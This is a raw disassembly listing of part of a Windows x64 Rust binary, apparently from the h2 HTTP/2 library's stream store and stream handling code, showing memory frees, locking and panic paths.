mov rax, qword [rbp + 0xac8]
mov qword [rbp + 0xc50], rax
mov rax, qword [rbp + 0xad8]
mov qword [rbp + 0xc20], rax
xor eax, eax
mov qword [rbp + 0xc38], rax
jmp 0x1400fbca6
mov r8, qword [rbp + 0xc40]
mov r9, qword [rbp + 0xc50]
mov rax, qword [r9 + r8 + 0x18]
mov rdx, qword [r9 + r8 + 0x20]
lea rcx, [r9 + r8]
add rcx, 0x30
mov r8, qword [r9 + r8 + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xc38]
cmp rax, qword [rbp + 0xc20]
je 0x1400fbd04
imul rcx, rax, 0x68
inc rax
mov qword [rbp + 0xc38], rax
mov qword [rbp + 0xc40], rcx
mov rax, qword [rbp + 0xc50]
mov rax, qword [rax + rcx + 0x40]
test rax, rax
je 0x1400fbc7e
mov r8, qword [rbp + 0xc40]
mov r9, qword [rbp + 0xc50]
lea rcx, [r9 + r8]
add rcx, 0x58
mov rdx, qword [r9 + r8 + 0x48]
mov r8, qword [r9 + r8 + 0x50]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400fbc7e
cmp qword [rbp + 0xad0], 0
je 0x1400fbd24
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc50]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0xae0]
mov rcx, qword [rbp + 0xaf0]
mov qword [rbp + 0xc40], rcx
mov qword [rbp + 0xc38], rax
lea rcx, [rax + 0x38]
xor eax, eax
mov qword [rbp + 0xc50], rax
mov rax, qword [rbp + 0xc50]
cmp qword [rbp + 0xc40], rax
je 0x1400fbd7f
inc rax
mov qword [rbp + 0xc50], rax
mov rax, qword [rcx - 0x18]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
lea rsi, [rcx + 0x48]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rsi
jmp 0x1400fbd4d
cmp qword [rbp + 0xae8], 0
je 0x1400fbd9f
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc38]
call qword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, byte [rbp + 0xb00]
cmp al, 0xb
je 0x1400fbdce
cmp al, 0xa
jb 0x1400fbdce
cmp qword [rbp + 0xb10], 0
je 0x1400fbdce
mov r8, qword [rbp + 0xb08]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0xb18]
test rax, rax
je 0x1400fbdf2
lea rcx, [rbp + 0xb30]
mov rdx, qword [rbp + 0xb20]
mov r8, qword [rbp + 0xb28]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xb38]
test rax, rax
je 0x1400fbe16
lea rcx, [rbp + 0xb50]
mov rdx, qword [rbp + 0xb40]
mov r8, qword [rbp + 0xb48]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xb58]
test rax, rax
je 0x1400fbe3a
lea rcx, [rbp + 0xb70]
mov rdx, qword [rbp + 0xb60]
mov r8, qword [rbp + 0xb68]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xb78]
test rax, rax
je 0x1400fbe68
mov rax, qword [rax + 0x10]
lea rcx, [rbp + 0xb90]
mov rdx, qword [rbp + 0xb80]
mov r8, qword [rbp + 0xb88]
mov byte [rbp + 0xc37], 0
call rax
cmp byte [rbp + 0x4e0], 3
jne 0x1400fbe95
mov dword [rbp + 0x824], 1
mov rax, qword [rbp + 0x3d8]
mov qword [rbp + 0x828], rax
mov byte [rbp + 0x820], 3
jmp 0x1400fc012
mov rcx, qword [rbp + 0x130]
mov byte [rbp + 0xc0c], 1
mov qword [rbp + 0xc50], rcx
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400fcbbb
mov dword [rbp + 0xc40], 0
mov rax, qword [rbp + 0xc50]
movzx eax, byte [rax + 8]
test al, al
jne 0x1400fcbdb
mov rax, qword [rbp + 0x360]
movdqa xmm0, xmmword [rbp + 0x4e0]
movdqa xmm1, xmmword [rbp + 0x4f0]
movdqa xmmword [rbp + 0x820], xmm0
mov rcx, qword [rbp + 0x500]
mov qword [rbp + 0x840], rcx
movdqa xmmword [rbp + 0x830], xmm1
movzx ecx, byte [rbp + 0x820]
test cl, cl
je 0x1400fbf89
mov rax, qword [rbp + 0x840]
mov qword [rbp + 0xabf], rax
movdqu xmm0, xmmword [rbp + 0x821]
movdqu xmm1, xmmword [rbp + 0x831]
movdqa xmmword [rbp + 0xab0], xmm1
movdqa xmmword [rbp + 0xaa0], xmm0
cmp cl, 3
je 0x1400fbfd1
mov byte [rbp + 0x820], cl
movdqa xmm0, xmmword [rbp + 0xaa0]
movdqa xmm1, xmmword [rbp + 0xab0]
movdqu xmmword [rbp + 0x821], xmm0
movdqu xmmword [rbp + 0x831], xmm1
mov rax, qword [rbp + 0xabf]
mov qword [rbp + 0x840], rax
jmp 0x1400fbfe2
mov rcx, qword [rbp + 0xc50]
lea r9, [rcx + 0x10]
mov edx, dword [rbp + 0x828]
movzx r8d, byte [rbp + 0x821]
lea rcx, [rax + 0xa0]
add rax, 0x140
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0xbe8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x20], rax
call fcn.1400d5330
mov dword [rbp + 0x824], 0
mov byte [rbp + 0x820], 3
cmp byte [rbp + 0xc40], 0
jne 0x1400fbffe
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400fceb0
mov byte [rbp + 0xc0c], 0
mov rcx, qword [rbp + 0xc50]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmp dword [rbp + 0x960], 0x3b9aca00
setne r8b
lea rdx, [rbp + 0x3d0]
mov rcx, qword [rbp + 0xbe8]
call fcn.140023890
movzx r14d, byte [rbp + 0x820]
mov eax, dword [rbp + 0x824]
mov dword [rbp + 0xbe8], eax
mov esi, dword [rbp + 0x828]
mov r13d, dword [rbp + 0x82c]
cmp r14b, 3
jne 0x1400fc178
mov r14b, 3
cmp dword [rbp + 0xbe8], 1
jne 0x1400fcbb6
mov rcx, qword [rbp + 0xbc8]
mov dword [rbp + 0xaa0], ecx
mov dword [rbp + 0xaa4], r15d
mov rax, qword [rbp + 0xc10]
cmp qword [rax + 0x1b8], rcx
jbe 0x1400feac3
mov rax, qword [rbp + 0xc10]
mov r10, qword [rax + 0x1a8]
test r10, r10
je 0x1400feac3
mov rax, qword [rbp + 0xbe0]
cmp dword [r10 + rax], 2
je 0x1400feac3
add r10, qword [rbp + 0xbe0]
cmp dword [r10 + 0x114], r15d
jne 0x1400feac3
mov eax, dword [r10 + 0x100]
mov edx, dword [r10 + 0x104]
mov ecx, dword [r10 + 0x108]
mov r9d, dword [r10 + 0x10c]
mov r8d, dword [r10 + 0x110]
mov dword [r10 + 0x100], 0
mov r11, rsi
mov dword [rbp + 0xaa0], r11d
mov dword [rbp + 0xaa4], r13d
mov r10, qword [rbp + 0xc10]
cmp qword [r10 + 0x1b8], rsi
jbe 0x1400feb3b
mov r10, qword [rbp + 0xc10]
mov r10, qword [r10 + 0x1a8]
test r10, r10
je 0x1400feb3b
imul r11, rsi, 0x130
cmp dword [r10 + r11], 2
je 0x1400feb3b
add r10, r11
cmp dword [r10 + 0x114], r13d
jne 0x1400feb3b
cmp byte [r10 + 0x126], 0
je 0x1400fc2af
mov r13d, r8d
mov esi, r9d
jmp 0x1400fca9e
movzx eax, byte [rbp + 0x821]
mov byte [rbp + 0xbe0], al
movzx edi, word [rbp + 0x822]
mov r12, qword [rbp + 0x830]
movups xmm6, xmmword [rbp + 0x838]
mov r15, rsi
jmp 0x1400f76e0
lea rcx, [rbp + 0x820]
lea rdx, [rbp + 0xaa0]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x880]
mov rsi, rbp
mov r8d, 0xa0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rbx, [rbp + 0x4e0]
mov r8d, 0xa0
mov rcx, rbx
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rbp + 0xaf0]
movaps xmmword [rbp + 0x490], xmm0
movups xmm0, xmmword [rbp + 0xae0]
movaps xmmword [rbp + 0x480], xmm0
movdqu xmm0, xmmword [rbp + 0xaa0]
movdqu xmm1, xmmword [rbp + 0xab0]
movdqu xmm2, xmmword [rbp + 0xac0]
movdqu xmm3, xmmword [rbp + 0xad0]
movdqa xmmword [rbp + 0x470], xmm3
movdqa xmmword [rbp + 0x460], xmm2
movdqa xmmword [rbp + 0x450], xmm1
movdqa xmmword [rbp + 0x440], xmm0
mov byte [rbp + 0xc2c], 0
lea rcx, [rbp + 0x820]
lea r8, [rbp + 0x440]
mov rdx, rbx
mov r9d, dword [rbp + 0xc50]
call fcn.140026ca0
mov rsi, qword [rbp + 0x820]
cmp rsi, 3
jne 0x1400fc35c
mov rax, qword [rbp + 0x848]
movdqu xmm0, xmmword [rbp + 0x828]
movdqu xmm1, xmmword [rbp + 0x838]
movdqa xmmword [rbp + 0x4e0], xmm0
movdqa xmmword [rbp + 0x4f0], xmm1
mov qword [rbp + 0x500], rax
jmp 0x1400fbe68
mov dword [rbp + 0xaa0], esi
mov dword [rbp + 0xaa4], r13d
cmp dword [r10], 2
je 0x1400feca3
cmp dword [r10 + 0x114], r13d
jne 0x1400feca3
mov byte [r10 + 0x126], 1
test eax, eax
je 0x1400fca94
mov dword [rbp + 0xaa0], r9d
mov dword [rbp + 0xaa4], r8d
mov r10, qword [rbp + 0xc10]
cmp qword [r10 + 0x1b8], r9
jbe 0x1400fed1b
mov r10, qword [rbp + 0xc10]
mov r10, qword [r10 + 0x1a8]
test r10, r10
je 0x1400fed1b
imul r9, r9, 0x130
cmp dword [r10 + r9], 2
je 0x1400fed1b
add r10, r9
cmp dword [r10 + 0x114], r8d
jne 0x1400fed1b
mov dword [r10 + 0xdc], 1
mov dword [r10 + 0xe0], esi
mov dword [r10 + 0xe4], r13d
jmp 0x1400fca9e
mov rax, qword [rbp + 0x848]
mov qword [rbp + 0x20], rax
movups xmm0, xmmword [rbp + 0x828]
movups xmm1, xmmword [rbp + 0x838]
movaps xmmword [rbp + 0x10], xmm1
movaps xmmword [rbp], xmm0
lea rdx, [rbp + 0x850]
lea rcx, [rbp + 0x600]
mov r8d, 0xb0
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rbp]
movdqa xmm1, xmmword [rbp + 0x10]
movups xmmword [rbp + 0x5d8], xmm0
movdqu xmmword [rbp + 0x5e8], xmm1
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x5f8], rax
mov qword [rbp + 0x5d0], rsi
movups xmm0, xmmword [0x1401beb48]
movaps xmmword [rbp + 0x830], xmm0
movdqu xmm0, xmmword [0x1401beb38]
movdqa xmmword [rbp + 0x820], xmm0
mov rax, qword [rbp + 0x608]
mov qword [rbp + 0x968], rax
test rax, rax
je 0x1400fc601
lea rcx, [rbp + 0x5d0]
lea rdx, [rbp + 0x820]
call fcn.1400226e0
movzx ebx, word [rbp + 0x628]
mov dword [rbp + 0xbf8], eax
mov r13d, eax
and r13d, ebx
mov rsi, qword [rbp + 0x5e8]
mov r14, qword [rbp + 0x5f0]
mov rax, qword [rbp + 0x5f8]
mov qword [rbp + 0xbf0], rax
mov rax, qword [rbp + 0x820]
mov qword [rbp + 0xbd0], rax
mov rax, qword [rbp + 0x828]
mov qword [rbp + 0x5c8], rax
movzx eax, byte [rbp + 0x828]
mov byte [rbp + 0xbc7], al
mov rax, qword [rbp + 0x830]
mov qword [rbp + 0x6f0], rax
xor eax, eax
mov qword [rbp + 0x6f8], rax
xor edi, edi
jmp 0x1400fc491
movzx ecx, byte [rbp + 0xbc7]
cmp byte [rax + 8], cl
je 0x1400fc551
inc rdi
inc r13
mov rax, r13
mov r13, rax
mov eax, 0
cmp r13, r14
jae 0x1400fc494
movzx ecx, word [rsi + r13*4]
cmp rcx, 0xffff
je 0x1400fc566
movzx eax, word [rsi + r13*4 + 2]
mov edx, eax
and edx, ebx
mov r8d, r13d
sub r8d, edx
and r8d, ebx
cmp rdi, r8
ja 0x1400fc566
cmp ax, word [rbp + 0xbf8]
jne 0x1400fc48b
cmp qword [rbp + 0x968], rcx
jbe 0x1400fdb5f
cmp qword [rbp + 0xbd0], 0
sete al
imul r12, rcx, 0x68
mov rcx, qword [rbp + 0xbf0]
mov rcx, qword [rcx + r12 + 0x40]
test rcx, rcx
setne dl
cmp dl, al
je 0x1400fc48b
mov rax, qword [rbp + 0xbf0]
add rax, r12
add rax, 0x40
test rcx, rcx
je 0x1400fc47b
mov rcx, qword [rbp + 0x6f0]
cmp qword [rax + 0x10], rcx
jne 0x1400fc48b
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 0x5c8]
mov r8, qword [rbp + 0x6f0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400fc48b
mov rax, qword [rbp + 0xbf0]
add rax, r12
add rax, 0x18
mov qword [rbp + 0x6f8], rax
cmp qword [rbp + 0xbd0], 0
je 0x1400fc599
mov rax, qword [rbp + 0xbd0]
mov rax, qword [rax + 0x10]
lea rcx, [rbp + 0x838]
mov byte [rbp + 0xc2f], 1
mov rdx, qword [rbp + 0x5c8]
mov r8, qword [rbp + 0x6f0]
call rax
cmp qword [rbp + 0x6f8], 0
je 0x1400fc601
mov rax, qword [rbp + 0x6f8]
mov rax, qword [rax + 0x10]
cmp rax, 0x13
ja 0x1400fc753
test rax, rax
je 0x1400fc601
mov rcx, qword [rbp + 0x6f8]
mov rcx, qword [rcx + 8]
xor edx, edx
xor r8d, r8d
movzx r9d, byte [rcx + rdx]
lea r10d, [r9 - 0x3a]
cmp r10b, 0xf6
jb 0x1400fc753
lea r8, [r8 + r8*4]
add r9b, 0xd0
movzx r9d, r9b
lea r8, [r9 + r8*2]
inc rdx
cmp rax, rdx
jne 0x1400fc5cd
test r8, r8
jne 0x1400fc753
movzx eax, byte [rbp + 0x688]
and al, 0xb
cmp al, 1
jne 0x1400fc753
mov rcx, qword [rbp + 0x6e8]
mov dword [rbp + 0x4e0], ecx
lea r14, [rbp + 0x4e4]
mov eax, dword [rbp + 0xc38]
mov dword [rbp + 0x4e4], eax
mov rax, qword [rbp + 0xc40]
cmp qword [rax + 0x10], rcx
jbe 0x1400fed93
mov rax, qword [rbp + 0xc40]
mov r13, qword [rax]
test r13, r13
je 0x1400fed93
mov rax, qword [rbp + 0xc20]
cmp dword [r13 + rax], 2
je 0x1400fed93
add r13, qword [rbp + 0xc20]
mov eax, dword [rbp + 0xc38]
cmp dword [r13 + 0x114], eax
jne 0x1400fed93
mov rsi, qword [rbp + 0xc10]
lea rdi, [rsi + 0x30]
lea rcx, [rbp + 0x10]
lea rdx, [rbp + 0x5d0]
mov r8d, 0xe0
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp], 0
mov rcx, qword [rsi + 0x40]
mov rax, qword [rsi + 0x50]
inc qword [rsi + 0x48]
mov qword [rbp + 0xc50], rax
mov qword [rbp + 0xbf8], rcx
cmp rcx, rax
jne 0x1400fcce5
lea rcx, [rbp + 0x820]
mov rdx, rbp
mov r8d, 0xf0
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0xc50]
mov rsi, rcx
mov rax, qword [rbp + 0xc10]
cmp qword [rax + 0x38], rcx
jne 0x1400fc715
mov rcx, rdi
mov rdx, qword [rbp + 0xc50]
call fcn.140029370
mov rax, qword [rbp + 0xc10]
mov rsi, qword [rax + 0x40]
imul rcx, rsi, 0xf0
mov rdi, qword [rbp + 0xc10]
add rcx, qword [rdi + 0x30]
lea rdx, [rbp + 0x820]
mov r8d, 0xf0
call sub.VCRUNTIME140.dll_memmove
inc rsi
mov qword [rdi + 0x40], rsi
mov rax, qword [rbp + 0xc50]
inc rax
mov qword [rdi + 0x50], rax
jmp 0x1400fcd3a
mov word [rbp + 0x4e0], 0x100
mov eax, dword [rbp + 0xc50]
mov dword [rbp + 0x4e4], eax
mov dword [rbp + 0x4e8], 1
cmp byte [rbp + 0x688], 0xa
jb 0x1400fc79b
cmp qword [rbp + 0x698], 0
je 0x1400fc79b
mov r8, qword [rbp + 0x690]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp byte [rbp + 0x630], 2
jb 0x1400fc7da
mov r8, qword [rbp + 0x638]
mov rax, qword [r8]
mov rdx, qword [r8 + 8]
lea rcx, [r8 + 0x18]
mov qword [rbp + 0xc50], r8
mov r8, qword [r8 + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc50]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x640]
mov rdx, qword [rbp + 0x648]
lea rcx, [rbp + 0x658]
mov r8, qword [rbp + 0x650]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x660]
mov rdx, qword [rbp + 0x668]
lea rcx, [rbp + 0x678]
mov r8, qword [rbp + 0x670]
call qword [rax + reloc.WS2_32.dll_recv]
cmp qword [rbp + 0x5f0], 0
je 0x1400fc838
mov r8, qword [rbp + 0x5e8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x5f8]
mov qword [rbp + 0xc40], rax
mov rax, qword [rbp + 0x608]
mov qword [rbp + 0xc20], rax
xor eax, eax
mov qword [rbp + 0xc50], rax
jmp 0x1400fc887
mov r8, qword [rbp + 0xc38]
mov r9, qword [rbp + 0xc40]
mov rax, qword [r9 + r8 + 0x18]
mov rdx, qword [r9 + r8 + 0x20]
lea rcx, [r9 + r8]
add rcx, 0x30
mov r8, qword [r9 + r8 + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xc50]
cmp rax, qword [rbp + 0xc20]
je 0x1400fc8e5
imul rcx, rax, 0x68
inc rax
mov qword [rbp + 0xc50], rax
mov qword [rbp + 0xc38], rcx
mov rax, qword [rbp + 0xc40]
mov rax, qword [rax + rcx + 0x40]
test rax, rax
je 0x1400fc85f
mov r8, qword [rbp + 0xc38]
mov r9, qword [rbp + 0xc40]
lea rcx, [r9 + r8]
add rcx, 0x58
mov rdx, qword [r9 + r8 + 0x48]
mov r8, qword [r9 + r8 + 0x50]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400fc85f
cmp qword [rbp + 0x600], 0
je 0x1400fc905
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc40]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x610]
mov rcx, qword [rbp + 0x620]
mov qword [rbp + 0xc40], rcx
mov qword [rbp + 0xc38], rax
lea rcx, [rax + 0x38]
xor eax, eax
mov qword [rbp + 0xc50], rax
mov rax, qword [rbp + 0xc50]
cmp qword [rbp + 0xc40], rax
je 0x1400fc960
inc rax
mov qword [rbp + 0xc50], rax
mov rax, qword [rcx - 0x18]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
lea rsi, [rcx + 0x48]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rsi
jmp 0x1400fc92e
cmp qword [rbp + 0x618], 0
je 0x1400fc980
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc38]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x6a0]
mov qword [rbp + 0xc38], rax
test rax, rax
je 0x1400fbe68
mov rax, qword [rbp + 0xc38]
mov rsi, qword [rax + 8]
test rsi, rsi
je 0x1400fcc52
mov rax, qword [rbp + 0xc38]
mov rcx, qword [rax]
mov qword [rbp + 0xc20], rcx
mov rdi, qword [rax + 0x18]
test rdi, rdi
je 0x1400fcc25
mov rbx, qword [rbp + 0xc20]
movdqa xmm0, xmmword [rbx]
pmovmskb r13d, xmm0
not r13d
lea r14, [rbx + 0x10]
mov r12, qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400fca0f
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc40]
call r12
lea eax, [r13 - 1]
and eax, r13d
mov r13d, eax
dec rdi
je 0x1400fcc25
test r13w, r13w
jne 0x1400fca36
movdqa xmm0, xmmword [r14]
pmovmskb r13d, xmm0
add rbx, 0xfffffffffffffe00
add r14, 0x10
cmp r13d, 0xffff
je 0x1400fca15
not r13d
tzcnt eax, r13d
shl rax, 5
mov rdx, rbx
sub rdx, rax
mov rcx, qword [rdx - 0x10]
mov rax, qword [rdx - 8]
mov qword [rbp + 0xc40], rcx
mov qword [rbp + 0xc50], rax
call qword [rax]
mov rax, qword [rbp + 0xc50]
cmp qword [rax + 8], 0
je 0x1400fc9fc
mov rax, qword [rbp + 0xc50]
cmp qword [rax + 0x10], 0x11
jb 0x1400fc9e9
mov rax, qword [rbp + 0xc40]
mov rax, qword [rax - 8]
mov qword [rbp + 0xc40], rax
jmp 0x1400fc9e9
mov eax, 1
mov ecx, r13d
mov edx, esi
mov r9, qword [rbp + 0xbc8]
mov dword [rbp + 0xaa0], r9d
mov dword [rbp + 0xaa4], r15d
mov r8, qword [rbp + 0xc10]
cmp qword [r8 + 0x1b8], r9
jbe 0x1400febb3
mov r8, qword [rbp + 0xc10]
mov r8, qword [r8 + 0x1a8]
test r8, r8
je 0x1400febb3
mov r9, qword [rbp + 0xbe0]
cmp dword [r8 + r9], 2
je 0x1400febb3
add r8, qword [rbp + 0xbe0]
cmp dword [r8 + 0x114], r15d
jne 0x1400febb3
mov dword [r8 + 0x100], eax
mov dword [r8 + 0x104], edx
mov dword [r8 + 0x108], ecx
mov dword [r8 + 0x10c], esi
mov dword [r8 + 0x110], r13d
mov rcx, qword [rbp + 0xbc8]
mov dword [rbp + 0xaa0], ecx
mov dword [rbp + 0xaa4], r15d
mov rax, qword [rbp + 0xc10]
cmp qword [rax + 0x1b8], rcx
jbe 0x1400fec2b
mov rax, qword [rbp + 0xc10]
mov rax, qword [rax + 0x1a8]
test rax, rax
je 0x1400fec2b
mov rcx, qword [rbp + 0xbe0]
cmp dword [rax + rcx], 2
je 0x1400fec2b
add rax, qword [rbp + 0xbe0]
cmp dword [rax + 0x114], r15d
jne 0x1400fec2b
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
je 0x1400fcbb6
mov rax, qword [rdx + 8]
mov byte [rbp + 0xc4c], 0
call rax
jmp 0x1400f76e0
call fcn.14018d880
xor al, 1
mov dword [rbp + 0xc40], eax
mov rax, qword [rbp + 0xc50]
movzx eax, byte [rax + 8]
test al, al
je 0x1400fbee0
mov rax, qword [rbp + 0xc50]
mov qword [rbp + 0x820], rax
mov eax, dword [rbp + 0xc40]
mov byte [rbp + 0x828], al
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140172360
lea r8, [rbp + 0x820]
mov edx, 0x2b
call fcn.140186ec0
jmp 0x1400fee97
mov rax, rsi
shl rax, 5
add rsi, rax
cmp rsi, 0xffffffffffffffcf
je 0x1400fcc52
mov r8, qword [rbp + 0xc20]
sub r8, rax
add r8, 0xffffffffffffffe0
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc38]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400fbe68
lea rax, [rbp + 0x5d4]
mov qword [rbp + 0x700], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x708], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x700]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc36], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
jbe 0x1400fee7f
imul rbx, qword [rbp + 0xc50], 0xf0
add rbx, qword [rdi]
cmp dword [rbx], 2
jne 0x1400fee7f
mov rax, qword [rbx + 8]
mov rcx, qword [rbp + 0xc10]
mov qword [rcx + 0x50], rax
lea rsi, [rbp + 0x820]
mov rdx, rbp
mov r8d, 0xf0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0xf0
mov rcx, rbx
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
cmp qword [r13 + 0x18], 0
je 0x1400fcf6b
mov rcx, qword [r13 + 0x28]
mov rax, qword [rbp + 0xc10]
cmp qword [rax + 0x40], rcx
jbe 0x1400fee5e
mov rax, qword [rbp + 0xc10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x1400fee5e
imul rcx, rcx, 0xf0
add rax, rcx
cmp dword [rax], 2
je 0x1400fee5e
add r13, 0x28
mov qword [rax], 1
mov rcx, qword [rbp + 0xc50]
mov qword [rax + 8], rcx
jmp 0x1400fcf82
mov byte [rbp + 0xc36], 1
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
mov edx, 0x2b
call fcn.140186b70
jmp 0x1400fee97
lea rax, [rbp + 0x5d4]
mov qword [rbp + 0x700], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x708], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x700]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc36], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
lea rax, [rbp + 0x5d4]
mov qword [rbp + 0x700], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x708], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x700]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc36], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
call fcn.14018d880
test al, al
jne 0x1400fbffe
mov rax, qword [rbp + 0xc50]
mov byte [rax + 8], 1
jmp 0x1400fbffe
mov qword [r13 + 0x18], 1
mov rax, qword [rbp + 0xc50]
mov qword [r13 + 0x20], rax
add r13, 0x28
mov rax, qword [rbp + 0xc50]
mov qword [r13], rax
mov rcx, qword [rbp + 0x6e8]
mov dword [rbp + 0x4e0], ecx
mov eax, dword [rbp + 0xc38]
mov dword [rbp + 0x4e4], eax
mov rax, qword [rbp + 0xc40]
cmp qword [rax + 0x10], rcx
jbe 0x1400fedfa
mov rax, qword [rbp + 0xc40]
mov rax, qword [rax]
test rax, rax
je 0x1400fedfa
mov rcx, qword [rbp + 0xc20]
cmp dword [rax + rcx], 2
je 0x1400fedfa
add rax, qword [rbp + 0xc20]
mov ecx, dword [rbp + 0xc38]
cmp dword [rax + 0x114], ecx
jne 0x1400fedfa
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
je 0x1400fbe71
mov rax, qword [rdx + 8]
mov byte [rbp + 0xc2f], 0
call rax
jmp 0x1400fbe71
lea rax, [rbp + 0x5d4]
mov qword [rbp + 0x700], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x708], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x700]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc36], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0x820], r10
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc1f], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
lea rax, [rbp + 0xaa4]
mov qword [rbp + 0x820], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
